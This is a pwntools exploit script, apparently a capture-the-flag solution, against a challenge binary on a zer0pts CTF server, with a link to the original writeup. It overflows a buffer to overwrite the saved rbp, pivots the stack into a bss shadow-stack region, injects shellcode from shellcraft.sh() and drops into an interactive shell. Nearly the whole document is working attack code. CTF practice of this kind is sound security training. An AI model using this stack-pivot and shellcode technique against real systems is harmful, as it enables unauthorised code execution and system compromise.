```
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

elf = ELF("./chall")
p = remote("pwn.ctf.zer0pts.com", 9011)

# overwrite saved rbp
bss_addr = 0x0600234 #__stack_shadow
payload = b"A" * 0x100
payload += p64(bss_addr + 0x100)
p.sendlineafter("Data: ", payload)

# construct fake stack
payload = p64(0)+p64(bss_addr+ 0x10)
print(shellcraft.sh())
payload += asm(shellcraft.sh())
p.sendlineafter("Data: ", payload)

p.interactive()
```

Original writeup (https://blog.csdn.net/weixin_48184612/article/details/114536576).